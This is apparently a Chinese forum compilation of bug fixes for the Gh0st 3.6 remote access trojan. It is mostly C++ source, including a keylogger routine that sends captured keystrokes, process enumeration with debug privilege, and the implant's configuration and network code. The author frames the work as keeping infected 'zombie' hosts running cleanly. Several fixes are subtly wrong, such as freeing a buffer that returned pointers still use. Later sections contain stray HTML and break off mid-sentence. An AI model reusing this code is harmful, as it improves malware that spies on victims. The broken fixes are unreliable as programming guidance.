以下贴出代码全部为修改后的
---------------------------------------------------------------------------------------------------------------------------------
1.拖放文件上传和下载时,有选择目标目录的话,可能会使目录重复
修改CFileManagerDlg::SendUploadJob()和CFileManagerDlg::CreateLocalRecvFile()中的代码:
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择,当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();
// 是文件夹
if (!m_hCopyDestFolder.IsEmpty())//修改目录重复的bug
{
strDestDirectory += m_hCopyDestFolder + "\\";
}else if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) // 是文件夹
{
strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}//新修改
if (!m_hCopyDestFolder.IsEmpty())
{
strDestDirectory += m_hCopyDestFolder + "\\";
}
// 发出第一个下载任务命令
------------------------------------------------------------------------------------------------------------------------------------
2.选中多个主机,执行断开连接,并不是所有选择的都断开
Ccb1stView::OnDisconnect() 中代码改为
POSITION pos;
for(; pos=m_pListCtrl->GetFirstSelectedItemPosition();)
{
m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
------------------------------------------------------------------------------------------------------------------------------------
3.文件列表不支持点击排序
在FileManagerDlg.h中加上一句:
#define CListCtrl CCJListCtrl
--------------------------------------------------------------------------------------------------------------------------------------
4.内存泄露BUG修改
1)、内存泄漏
如new后没有delete,或其他内存分配函数后没有配对释放,例如:
void SplitLoginInfo(…)中、DWORD GetProcessID(LPCTSTR lpProcessName)中…
另外如用
[Copy to clipboard] [ - ]CODE:
char *lpBuffer = new char[dwSize]
这种形式new,后面应该
[Copy to clipboard] [ - ]CODE:
delete [] lpBuffer;
,如果只是delete lpBuffer应该也会造成泄漏,例如:
int CKeyboardManager::sendOfflineRecord()中…
2)、句柄泄漏
大多是由于没有CloseHandle所致,某些特殊对象有相应的关闭释放函数,虽然问题不大,可看到肉鸡每次接受命令执行,就增加一些句柄或其他资源占用,心里总是不爽。
例如:
[Copy to clipboard] [ - ]CODE:
LPBYTE CSystemManager::getProcessList()中OpenProcess后应该CloseHandle(hProcess);
[Copy to clipboard] [ - ]CODE:
DWORD GetProcessID(LPCTSTR lpProcessName)中最后应该CloseHandle(handle);
…
//新加入减少内存泄露//////////////////////1
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD
lppProxyPort,
char **lppszProxyUser, char **lppszProxyPass)
{
*lppszHost = NULL;
*lppPort = 0;
*lppszProxyHost = NULL;
*lppProxyPort = 0;
*lppszProxyUser = NULL;
*lppszProxyPass = NULL;
bool bIsProxyUsed = false;
bool bIsAuth = false;
UINT nSize = lstrlen(lpDecodeString) + 1;
char *lpString = new char[nSize];
memcpy(lpString, lpDecodeString, nSize);
char *pStart, *pNext, *pEnd;
*lppszHost = lpString;
if ((pStart = strchr(lpString, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsProxyUsed = true;
*pNext = '\0';
}
*lppPort = atoi(pStart + 1);
if (!bIsProxyUsed)
return;
pNext++;
*lppszProxyHost = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
if ((pNext = strchr(pStart + 1, '|')) != NULL)
{
bIsAuth = true;
*pNext = '\0';
}
*lppProxyPort = atoi(pStart + 1);
if (!bIsAuth)
return;
pNext++;
*lppszProxyUser = pNext;
if ((pStart = strchr(pNext, ':')) == NULL)
return;
*pStart = '\0';
*lppszProxyPass = pStart + 1;
delete [] lpString ;//新加入减少内存泄露
}
//////////////////////////////////////////////////////////////////////2
int CKeyboardManager::sendOfflineRecord()
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "");
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
dwSize = GetFileSize(hFile, NULL);
char *lpBuffer = new char[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// 解密
for (int i = 0; i < dwSize; i++)
lpBuffer ^= XOR_ENCODE_VALUE;
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete [] lpBuffer; // delete lpBuffer;新修改的代码
}
CloseHandle(hFile);
return nRet;
}
//////////////////////////////////////////////////////////////////////////////////////
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HMODULE hModules = NULL;
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0};
LPBYTE lpBuffer = NULL;
DWORD dwOffset = 0;
DWORD dwLength = 0;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
if(Process32First(hSnapshot, &pe32))
{
do
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
{
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
// 此进程占用数据大小
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// 缓冲区太小,再重新分配下
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
CloseHandle(hProcess);//新修改
}
while(Process32Next(hSnapshot, &pe32));
}
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
//////////////////////////////////////////////////////////////////////////
DWORD GetProcessID(LPCTSTR lpProcessName)
{
DWORD RetProcessID = 0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32* info=new PROCESSENTRY32;
info->dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,info))
{
if (strcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
while(Process32Next(handle,info) != FALSE)
{
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
}
}
CloseHandle(handle);//新修改
return RetProcessID;
}
////////////////////////////////////////////////////////新修改////////////////////
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024]={0};
try
{
GetWindowText(hwnd, strTitle, sizeof(strTitle)-1);
strTitle[sizeof(strTitle)-1]=0;
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
if (lpBuffer == NULL)
{
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwOffset=1;
}else
{
dwOffset = LocalSize(lpBuffer);
while(*(lpBuffer + dwOffset - 2)==0) dwOffset--;
}
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
}catch (...)
{
return true;
}
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
/////////////////////////////////////////////////////
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
{
char strFileName[MAX_PATH];
char *lpConfigString = NULL;
DWORD dwBytesRead = 0;
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
lpConfigString = new char[MAX_CONFIG_LEN];
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
CloseHandle(hFile);
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
if (offset == -1)
{
delete lpConfigString;
return NULL;
}
else
{
return lpConfigString + offset;
delete lpConfigString;///新修改代码-----------不确定.
}
}
// 文件名随机
------------------------------------------------------------------------------------------------------------------------------------
5.对话框关闭后未销毁的问题(spy++可以看到)
在CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)中有调用DestroyWindow,只要在OnClose中注释掉m_pContext->m_Dialog[0] = 0;
在工程中搜索m_pContext->m_Dialog[0] = 0;共搜到七处,全部注释掉后,测试时第二次进入文件管理的时候掉图标。不注释的话,又导致spy++可以看到文件管理窗口。欢迎高手提供好的解决办法。
也就是下面代码里的m_pContext->m_Dialog[0] = 0;不能注释,其他六处可以注释。
void CFileManagerDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
------------------------------------------------------------------------------------------------------------------------------------
6.发送数据较快容易出错
pContext->m_hWriteComplete
这明显是个event对象,可是并没有CreateEvent创建,单线程发送接收可能没事,发送数据较快就有问题了(我加代理功能时发现,CreateEvent后发的数据就不乱了)
------------------------------------------------------------------------------------------------------------------------------------
7.Gh0st3.6 IOCP发送BUG
作 者: boywhp
时 间: 2014-04-21,22:53:46
链 接: http://bbs.pediy.com/showthread.php?t=186833
测试发现有时客户端会发送重复数据包,感觉作者的IOCP发送处理逻辑不是太清晰,简单修改了下,初步测试没发现异常
话说我很想不通使用了TCP通信的Gh0st里面居然还有处理重发的代码,真是蛋疼啊,懒得删了,万一有个大坑呢?
另外里面频繁的new delete看得我也很不爽啊,不过我忍住了,能不动就不动
1、CIOCPServer::Send
- void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
- {
- if (pContext == NULL)
- return;
-
- try
- {
- CLock cs(pContext->m_SndLock, "Send");
- if (nSize > 0)
- {
-
- unsigned long destLen = (double)nSize * 1.001 + 12;
- LPBYTE pDest = new BYTE[destLen];
- int nRet = compress(pDest, &destLen, lpData, nSize);
-
- if (nRet != Z_OK)
- {
- delete [] pDest;
- return;
- }
-
-
- LONG nBufLen = destLen + HDR_SIZE;
-
- pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
-
- pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
-
- pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
-
- pContext->m_WriteBuffer.Write(pDest, destLen);
- delete [] pDest;
-
-
- if (pContext->m_WriteBuffer.GetBufferLen() == nBufLen)
- PostSend(pContext);
-
-
- LPBYTE lpResendWriteBuffer = new BYTE[nSize];
- CopyMemory(lpResendWriteBuffer, lpData, nSize);
- pContext->m_ResendWriteBuffer.ClearBuffer();
- pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize);
- delete [] lpResendWriteBuffer;
- }
- else
- {
- pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
- pContext->m_ResendWriteBuffer.ClearBuffer();
- pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
- }
-
-
-
-
- pContext->m_nMsgOut++;
- }catch(...){}
- }
2、添加函数CIOCPServer::PostSend
- void CIOCPServer::PostSend(ClientContext* pContext)
- {
- OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
- WSABUF sndBuf;
- ULONG ulFlags = MSG_PARTIAL;
-
- m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);
-
- sndBuf.buf = (char*) pContext->m_WriteBuffer.GetBuffer();
- sndBuf.len = pContext->m_WriteBuffer.GetBufferLen();
-
- int nRetVal = WSASend(pContext->m_Socket,
- &sndBuf,
- 1,
- &sndBuf.len,
- ulFlags,
- &pOverlap->m_ol,
- NULL);
-
- if (nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
- RemoveStaleClient( pContext, FALSE );
- }
3、CIOCPServer::OnClientWriting
- bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
- {
- try
- {
-
- static DWORD nLastTick = GetTickCount();
- static DWORD nBytes = 0;
-
- nBytes += dwIoSize;
-
- if (GetTickCount() - nLastTick >= 1000)
- {
- nLastTick = GetTickCount();
- InterlockedExchange((LPLONG)&(m_nSendKbps), nBytes);
- nBytes = 0;
- }
-
-
- TRACE("IOCP Send DONE %d bytes Remain:%d bytes\n",
- dwIoSize,
- pContext->m_WriteBuffer.GetBufferLen());
-
-
- if (dwIoSize > 0){
- pContext->m_WriteBuffer.Delete(dwIoSize);
- if (pContext->m_WriteBuffer.GetBufferLen() > 0)
- PostSend(pContext);
- else
- pContext->m_WriteBuffer.ClearBuffer();
- }
-
- }catch(...){}
- return false;
- }
------------------------------------------------------------------------------------------------------------------------------------
8.SetPaneText 的崩溃问题
这个应该属于多线程操作控件的问题,参见MFC不能多线程操作控件的原因 这里面讲解的比较深入了。
关于状态栏StatusBar有几点需要说明:
1)刚刚创建工程 CMainFrame 类里面就有一个 CMFCStatusBar m_wndStatusBar;
状态栏变量定义。在原版工程里面是CStatusBar m_wndStatusBar;
2)在这个类的 OnCreate 函数里面调用 m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH , 300);
设置每个状态栏分割宽度,后面两个参数 SBPS_STRETCH 表示 剩余的宽度都算在这个分割里面,300表示最小宽度,MSDN文档。
3)关于 CMFCStatusBar 使用方法可见 鸡啄米专栏 VS2010/MFC编程入门之三十八(状态栏的使用详解) 。
4)gh0st里面是这样使用 m_wndStatusBar
的:
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CIOCPServer<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::OnAccept</span>() { m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); } <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode) { g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>m_wndStatusBar<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, str); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li></ul>
当异常的时候调用栈如下:
跟踪到异常位置来到系统代码:
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// should also be in the permanent or temporary handle map</span> CHandleMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> afxMapHWND(); ASSERT(pMap <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>); CObject<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span> p<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span><span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span>(pMap) { ASSERT( (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupPermanent(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">||</span> (p <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">=</span> pMap<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>LookupTemporary(m_hWnd)) <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!=</span> <span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">NULL</span>); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li></ul>
总之一句话,这个 SetPaneText 是从其它线程 ListenThreadProc 调用过来的,如果要正常使用可以修改为如下方式 :
<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">void</span> CALLBACK CMainFrame<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::NotifyProc</span>(LPVOID lpParam, ClientContext <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">*</span>pContext, UINT nCode) { g_pFrame<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-></span>PostMessageA(UpdatePane); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>
g_pFrame 是一个 CMainFrame 类型指针,在CMainFrame 类里面加入一个消息处理过程:
<code class="language-C hljs autohotkey has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-label" style="box-sizing: border-box;">ON_MESSAGE(UpdatePane, &CMainFrame::</span>OnUpdatepane) <span class="hljs-label" style="box-sizing: border-box;">afx_msg LRESULT CMainFrame::</span>OnUpdatepane(WPARAM wParam, LPARAM lParam) { m_wndStatusBar.SetPaneText(<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>, <span class="hljs-string" style="color: rgb(0, 136, 0); box-sizing: border-box;">"test"</span>)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li></ul>
在 ListenThreadProc 向 CMainFrame 类发送一个消息 PostMessage(UpdatePane),然后在 CMainFrame 类里面处理这个消息,至此问题完美解决。
参考:
MFC中从一个类向其他类发送消息的方法
------------------------------------------------------------------------------------------------------------------------------------
9.WSAIoctl 参数类型导致栈异常
以前gh0st代码如下:
<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">const</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> chOpt = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; WSAIoctl ( pContext->m_Socket, SIO_KEEPALIVE_VALS, &klive, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(tcp_keepalive), <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, (<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> *)&chOpt, <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>, <span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span> );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li></ul>
WSAIoctl 原型声明如下:
<code class="language-C hljs bash has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int WSAAPI WSAIoctl( __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> SOCKET s, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD dwIoControlCode, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_bcount_opt(cbInBuffer) LPVOID lpvInBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbInBuffer, __out_bcount_part_opt(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span> DWORD cbOutBuffer, __out LPDWORD lpcbBytesReturned, __inout_opt LPWSAOVERLAPPED lpOverlapped, __<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">in</span>_opt LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine );</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li></ul>
倒数第三个参数应当是 LPDWORD 类型,而且是输出,传入的仅仅是char类型,虽然因为对齐 char 也分配了4字节,不会导致栈覆盖,但是在debug模式下系统加入了严苛的栈检测机制:虽然分配了四字节,因为是char类型,所以剩余的三字节是不应该修改的,在release下就没有这问题。
修改为 LONG 类型即可解决问题:
<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> chOpt; *((<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> *)&chOpt) = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>
------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------
10.CIniFile 构造函数导致异常系统自动定义的一个对象
<code class="language-C hljs cs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// 唯一的一个 ChostApp 对象</span> ChostApp theApp;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>
这个构造函数应该是在最早执行的,在 ChostApp 里面有一个成员
